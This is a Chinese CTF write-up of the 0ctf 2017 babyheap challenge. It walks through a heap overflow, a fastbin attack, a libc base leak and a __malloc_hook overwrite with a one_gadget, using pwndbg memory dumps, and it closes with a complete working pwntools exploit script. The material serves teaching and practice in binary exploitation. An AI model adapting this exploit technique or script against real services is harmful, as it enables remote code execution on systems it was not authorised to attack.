本文主要列出0ctf_2017_babyheap的详细过程
主要参考:https://bbs.pediy.com/thread-223461.htm
程序流程
- allocate:申请size大小的块
- fill:对idx的块,设置size,并填入content
- free:释放idx的块
- dump:打印idx的块内容
漏洞分析
fill中的size可以重新设置,故可以造成堆溢出。
方法:fastbin attack
double free泄露libc
【small/large chunk释放,fd和bk指向main_arena】
fastbin attack写malloc_hook为one_gadget
详细过程
1.保护
1 2 3 4 5 6 7
| winter@ubuntu:~/buu$ checksec 0ctf_2017_babyheap [*] '/home/winter/buu/0ctf_2017_babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
2.申请初始块
四个0x10、一个0x80
第0个块作用:方便修改第1、2块
第3个块作用:方便修改0x80的块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x91
Top chunk | PREV_INUSE Addr: 0x5614ee1f6110 Size: 0x20ef1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> x/50gx 0x5614ee1f6000 0x5614ee1f6000: 0x0000000000000000 0x0000000000000021 0x5614ee1f6010: 0x0000000000000000 0x0000000000000000 0x5614ee1f6020: 0x0000000000000000 0x0000000000000021 0x5614ee1f6030: 0x0000000000000000 0x0000000000000000 0x5614ee1f6040: 0x0000000000000000 0x0000000000000021 0x5614ee1f6050: 0x0000000000000000 0x0000000000000000 0x5614ee1f6060: 0x0000000000000000 0x0000000000000021 0x5614ee1f6070: 0x0000000000000000 0x0000000000000000 0x5614ee1f6080: 0x0000000000000000 0x0000000000000091 0x5614ee1f6090: 0x0000000000000000 0x0000000000000000 0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000 0x5614ee1f6100: 0x0000000000000000 0x0000000000000000 0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1 0x5614ee1f6120: 0x0000000000000000 0x0000000000000000 0x5614ee1f6130: 0x0000000000000000 0x0000000000000000 0x5614ee1f6140: 0x0000000000000000 0x0000000000000000 0x5614ee1f6150: 0x0000000000000000 0x0000000000000000 0x5614ee1f6160: 0x0000000000000000 0x0000000000000000 0x5614ee1f6170: 0x0000000000000000 0x0000000000000000 0x5614ee1f6180: 0x0000000000000000 0x0000000000000000
|
3.释放1、2块
为double free做准备,其中 块2指向块1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
#1 Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21 fd: 0x00
#2 #指向块1,先进后出 Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21 fd: 0x5614ee1f6020
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x91
Top chunk | PREV_INUSE Addr: 0x5614ee1f6110 Size: 0x20ef1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> x/50gx 0x5614ee1f6000 0x5614ee1f6000: 0x0000000000000000 0x0000000000000021 0x5614ee1f6010: 0x0000000000000000 0x0000000000000000 0x5614ee1f6020: 0x0000000000000000 0x0000000000000021 0x5614ee1f6030: 0x0000000000000000 0x0000000000000000 0x5614ee1f6040: 0x0000000000000000 0x0000000000000021 0x5614ee1f6050: 0x00005614ee1f6020 0x0000000000000000 0x5614ee1f6060: 0x0000000000000000 0x0000000000000021 0x5614ee1f6070: 0x0000000000000000 0x0000000000000000 0x5614ee1f6080: 0x0000000000000000 0x0000000000000091 0x5614ee1f6090: 0x0000000000000000 0x0000000000000000 0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000 0x5614ee1f6100: 0x0000000000000000 0x0000000000000000 0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1 0x5614ee1f6120: 0x0000000000000000 0x0000000000000000 0x5614ee1f6130: 0x0000000000000000 0x0000000000000000 0x5614ee1f6140: 0x0000000000000000 0x0000000000000000 0x5614ee1f6150: 0x0000000000000000 0x0000000000000000 0x5614ee1f6160: 0x0000000000000000 0x0000000000000000 0x5614ee1f6170: 0x0000000000000000 0x0000000000000000 0x5614ee1f6180: 0x0000000000000000 0x0000000000000000
|
4.令释放块2指向块4
通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/50gx 0x5614ee1f6000 0x5614ee1f6000: 0x0000000000000000 0x0000000000000021 0x5614ee1f6010: 0x0000000000000000 0x0000000000000000 0x5614ee1f6020: 0x0000000000000000 0x0000000000000021 0x5614ee1f6030: 0x0000000000000000 0x0000000000000000 0x5614ee1f6040: 0x0000000000000000 0x0000000000000021 0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000 0x5614ee1f6060: 0x0000000000000000 0x0000000000000021 0x5614ee1f6070: 0x0000000000000000 0x0000000000000000 0x5614ee1f6080: 0x0000000000000000 0x0000000000000091 0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
|
5.为绕过检测,修改块4:0x80->0x10
溢出实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/50gx 0x5614ee1f6000 0x5614ee1f6000: 0x0000000000000000 0x0000000000000021 0x5614ee1f6010: 0x0000000000000000 0x0000000000000000 0x5614ee1f6020: 0x0000000000000000 0x0000000000000021 0x5614ee1f6030: 0x0000000000000000 0x0000000000000000 0x5614ee1f6040: 0x0000000000000000 0x0000000000000021 0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000 0x5614ee1f6060: 0x0000000000000000 0x0000000000000021 0x5614ee1f6070: 0x0000000000000000 0x0000000000000000 0x5614ee1f6080: 0x0000000000000000 0x0000000000000021 0x5614ee1f6090: 0x0000000000000000 0x0000000000000000 0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
|
修改成功,但是由于chunk4的大小修改了,故找不到top chunk了,故后期需要把大小:0x10->0x80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21 fd: 0x5614ee1f6080
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x21 fd: 0x00
Allocated chunk Addr: 0x5614ee1f60a0 Size: 0x00
|
通过溢出,成功修改了chunk2指向chunk4,导致未释放的chunk4加入到了bin中,重新allocate,导致idx=2、4都为同一个块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> bins fastbins 0x20: 0x555923ab8040 —▸ 0x555923ab8080 ◂— 0x21 /* '!' */ 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
|
6.重新申请回两个块
1、2、4
释放:块1->块2
修改:块2->块4
重新申请:块4->块2(idx1->idx2)
故
- 原块1直接释放态->allocate态
- 原块2->idx1
- 原块4->idx2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
#先进后出 Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x21 fd: 0x00
Allocated chunk Addr: 0x5614ee1f60a0 Size: 0x00
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x21
Allocated chunk Addr: 0x5614ee1f60a0 Size: 0x00
|
7.重新修改chunk4:0x10->0x80
为了让top chunk重新找得到,故需要重新讲chunk4的大小修改回0x80,以便于之后申请操作。
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> x/50gx 0x5614ee1f6000 0x5614ee1f6000: 0x0000000000000000 0x0000000000000021 0x5614ee1f6010: 0x0000000000000000 0x0000000000000000 0x5614ee1f6020: 0x0000000000000000 0x0000000000000021 0x5614ee1f6030: 0x0000000000000000 0x0000000000000000 0x5614ee1f6040: 0x0000000000000000 0x0000000000000021 0x5614ee1f6050: 0x0000000000000000 0x0000000000000000 0x5614ee1f6060: 0x0000000000000000 0x0000000000000021 0x5614ee1f6070: 0x0000000000000000 0x0000000000000000 0x5614ee1f6080: 0x0000000000000000 0x0000000000000091 0x5614ee1f6090: 0x0000000000000000 0x0000000000000000 0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pwndbg> heap #0 Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21 #1 Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21 #new 1 Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21 #3 Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21 #2、4 Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x91
Top chunk | PREV_INUSE Addr: 0x5614ee1f6110 Size: 0x20ef1
|
8.申请一个块,防止块4free与top chunk合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x91
#alloc(0x80) Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6110 Size: 0x91
Top chunk | PREV_INUSE Addr: 0x5614ee1f61a0 Size: 0x20e61
|
9.释放chunk4
因为此时idx2、4都指向chunk4,故可以释放chunk4,此时它里面会填入main_arena中地址,可以计算得到libc_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
#free(4) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x91 fd: 0x7f6a86e67b78 bk: 0x7f6a86e67b78
Allocated chunk Addr: 0x5614ee1f6110 Size: 0x90
Top chunk | PREV_INUSE Addr: 0x5614ee1f61a0 Size: 0x20e61
|
10.打印idx2(即idx4内容)
1 2
| libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base))
|
11.申请0x60的块
新块的idx为4(把idx4给了分配的块,为分配的0x21没有idx)
切割0x91的块,剩下0x21放入了unsortedbin中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
#alloc(0x60) Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5614ee1f60f0 Size: 0x21 fd: 0x7f6a86e67b78 bk: 0x7f6a86e67b78
Allocated chunk Addr: 0x5614ee1f6110 Size: 0x90
Top chunk | PREV_INUSE Addr: 0x5614ee1f61a0 Size: 0x20e61
|
12.释放0x60的块
再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助,,,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
#free(4) Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x71 fd: 0x00
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5614ee1f60f0 Size: 0x21 fd: 0x7f6a86e67b78 bk: 0x7f6a86e67b78
Allocated chunk Addr: 0x5614ee1f6110 Size: 0x90
Top chunk | PREV_INUSE Addr: 0x5614ee1f61a0 Size: 0x20e61
|
13.修改idx2的内容,为malloc_hook附近构造chunk的地址
需要改地址,有fastbin大小的八字节数字,,,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #payload = p64(libc_base+0x3c4aed) #fill(2, payload)
pwndbg> x/30gx 0x5614ee1f6000 0x5614ee1f6000: 0x0000000000000000 0x0000000000000021 0x5614ee1f6010: 0x0000000000000000 0x0000000000000000 0x5614ee1f6020: 0x0000000000000000 0x0000000000000021 0x5614ee1f6030: 0x0000000000000000 0x0000000000000000 0x5614ee1f6040: 0x0000000000000000 0x0000000000000021 0x5614ee1f6050: 0x0000000000000000 0x0000000000000000 0x5614ee1f6060: 0x0000000000000000 0x0000000000000021 0x5614ee1f6070: 0x0000000000000000 0x0000000000000000 0x5614ee1f6080: 0x0000000000000000 0x0000000000000071 0x5614ee1f6090: 0x00007f6a86e67aed 0x0000000000000000 0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000 0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
Free chunk (fastbins) | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x71 fd: 0x7f6a86e67aed#修改后的地址
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5614ee1f60f0 Size: 0x21 fd: 0x7f6a86e67b78 bk: 0x7f6a86e67b78
Allocated chunk Addr: 0x5614ee1f6110 Size: 0x90
Top chunk | PREV_INUSE Addr: 0x5614ee1f61a0 Size: 0x20e61
pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 #接下来申请两遍,即可得到0x7f6a86e67aed地址的块,可以对0x7f6a86e67aed进行数据读写 0x70: 0x5614ee1f6080 —▸ 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000 0x80: 0x0 unsortedbin all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0 smallbins empty largebins empty
|
14.申请回第一个0x60块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6060 Size: 0x21
#alloc(0x60) Allocated chunk | PREV_INUSE Addr: 0x5614ee1f6080 Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5614ee1f60f0 Size: 0x21 fd: 0x7f6a86e67b78 bk: 0x7f6a86e67b78
Allocated chunk Addr: 0x5614ee1f6110 Size: 0x90
Top chunk | PREV_INUSE Addr: 0x5614ee1f61a0 Size: 0x20e61
pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000 0x80: 0x0 unsortedbin all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0 smallbins empty largebins empty
pwndbg> x/30gx 0x7f6a86e67aed 0x7f6a86e67aed <_IO_wide_data_0+301>: 0x6a86e66260000000 0x000000000000007f 0x7f6a86e67afd: 0x6a86b28ea0000000 0x6a86b28a7000007f 0x7f6a86e67b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7f6a86e67b1d: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b4d <main_arena+45>: 0x6a86e67aed000000 0x000000000000007f 0x7f6a86e67b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b6d <main_arena+77>: 0x0000000000000000 0x14ee1f61a0000000 0x7f6a86e67b7d <main_arena+93>: 0x14ee1f60f0000056 0x14ee1f60f0000056 0x7f6a86e67b8d <main_arena+109>: 0x14ee1f60f0000056 0x6a86e67b88000056 0x7f6a86e67b9d <main_arena+125>: 0x6a86e67b8800007f 0x6a86e67b9800007f 0x7f6a86e67bad <main_arena+141>: 0x6a86e67b9800007f 0x6a86e67ba800007f 0x7f6a86e67bbd <main_arena+157>: 0x6a86e67ba800007f 0x6a86e67bb800007f 0x7f6a86e67bcd <main_arena+173>: 0x6a86e67bb800007f 0x6a86e67bc800007f
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/30gx 0x7f6a86e67b20 - 0x20 0x7f6a86e67b00 <__memalign_hook>: 0x00007f6a86b28ea0 0x00007f6a86b28a70 0x7f6a86e67b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b50 <main_arena+48>: 0x6a86b28ea0000000 0x0000000000000000 0x7f6a86e67b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b70 <main_arena+80>: 0x0000000000000000 0x00005614ee1f61a0 0x7f6a86e67b80 <main_arena+96>: 0x00005614ee1f60f0 0x00005614ee1f60f0 0x7f6a86e67b90 <main_arena+112>: 0x00005614ee1f60f0 0x00007f6a86e67b88 0x7f6a86e67ba0 <main_arena+128>: 0x00007f6a86e67b88 0x00007f6a86e67b98 0x7f6a86e67bb0 <main_arena+144>: 0x00007f6a86e67b98 0x00007f6a86e67ba8 0x7f6a86e67bc0 <main_arena+160>: 0x00007f6a86e67ba8 0x00007f6a86e67bb8 0x7f6a86e67bd0 <main_arena+176>: 0x00007f6a86e67bb8 0x00007f6a86e67bc8 0x7f6a86e67be0 <main_arena+192>: 0x00007f6a86e67bc8 0x00007f6a86e67bd8
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/30gx 0x7f6a86e67b20 - 0x20 0x7f6a86e67b00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b10 <__malloc_hook>: 0x00007f6a86ae826a 0x0000000000000000 0x7f6a86e67b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b50 <main_arena+48>: 0x6a86b28ea0000000 0x0000000000000000 0x7f6a86e67b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f6a86e67b70 <main_arena+80>: 0x0000000000000000 0x00005614ee1f61a0 0x7f6a86e67b80 <main_arena+96>: 0x00005614ee1f60f0 0x00005614ee1f60f0 0x7f6a86e67b90 <main_arena+112>: 0x00005614ee1f60f0 0x00007f6a86e67b88 0x7f6a86e67ba0 <main_arena+128>: 0x00007f6a86e67b88 0x00007f6a86e67b98 0x7f6a86e67bb0 <main_arena+144>: 0x00007f6a86e67b98 0x00007f6a86e67ba8 0x7f6a86e67bc0 <main_arena+160>: 0x00007f6a86e67ba8 0x00007f6a86e67bb8 0x7f6a86e67bd0 <main_arena+176>: 0x00007f6a86e67bb8 0x00007f6a86e67bc8 0x7f6a86e67be0 <main_arena+192>: 0x00007f6a86e67bc8 0x00007f6a86e67bd8
|
15.申请到假的chunk,修改malloc_hook->gadget
最后只要执行malloc操作,即可get shell
1 2 3 4 5 6 7 8 9
| allo(0x60) allo(0x60)
payload = 'a'*(0x8+0x2+0x8+1) payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
allo(79)
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
p = process("./0ctf_2017_babyheap")
context.log_level = 'debug' def allo(size): p.recvuntil("Command: ") p.sendline(str(1)) p.recvuntil("Size: ") p.sendline(str(size))
def fill(idx,size,content): p.recvuntil("Command: ") p.sendline(str(2)) p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(size)) p.recvuntil("Content: ") p.sendline(content)
def free(idx): p.recvuntil("Command: ") p.sendline(str(3)) p.recvuntil("Index: ") p.sendline(str(idx))
def dump(idx): p.recvuntil("Command: ") p.sendline(str(4)) p.recvuntil("Index: ") p.sendline(str(idx))
allo(0x10) allo(0x10) allo(0x10) allo(0x10) allo(0x80)
free(1) free(2)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) payload += p8(0x80) fill(0,len(payload),payload)
payload = p64(0)*3 + p64(0x21) fill(3,len(payload),payload)
allo(0x10) allo(0x10)
payload = p64(0)*3 + p64(0x91) fill(3,len(payload),payload)
allo(0x80)
free(4)
dump(2) content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') print(hex(content)) libc_base = (content) - 0x3c4b78 print(hex(libc_base))
allo(0x60)
free(4) payload = p64(libc_base + 0x3C4AED) fill(2,len(payload),payload)
allo(0x60) allo(0x60) gdb.attach(p) pause()
payload = 'a'*(0x8+0x2+0x8+1) payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
allo(79)
p.interactive()
|
常规的堆题流程,,,经典题目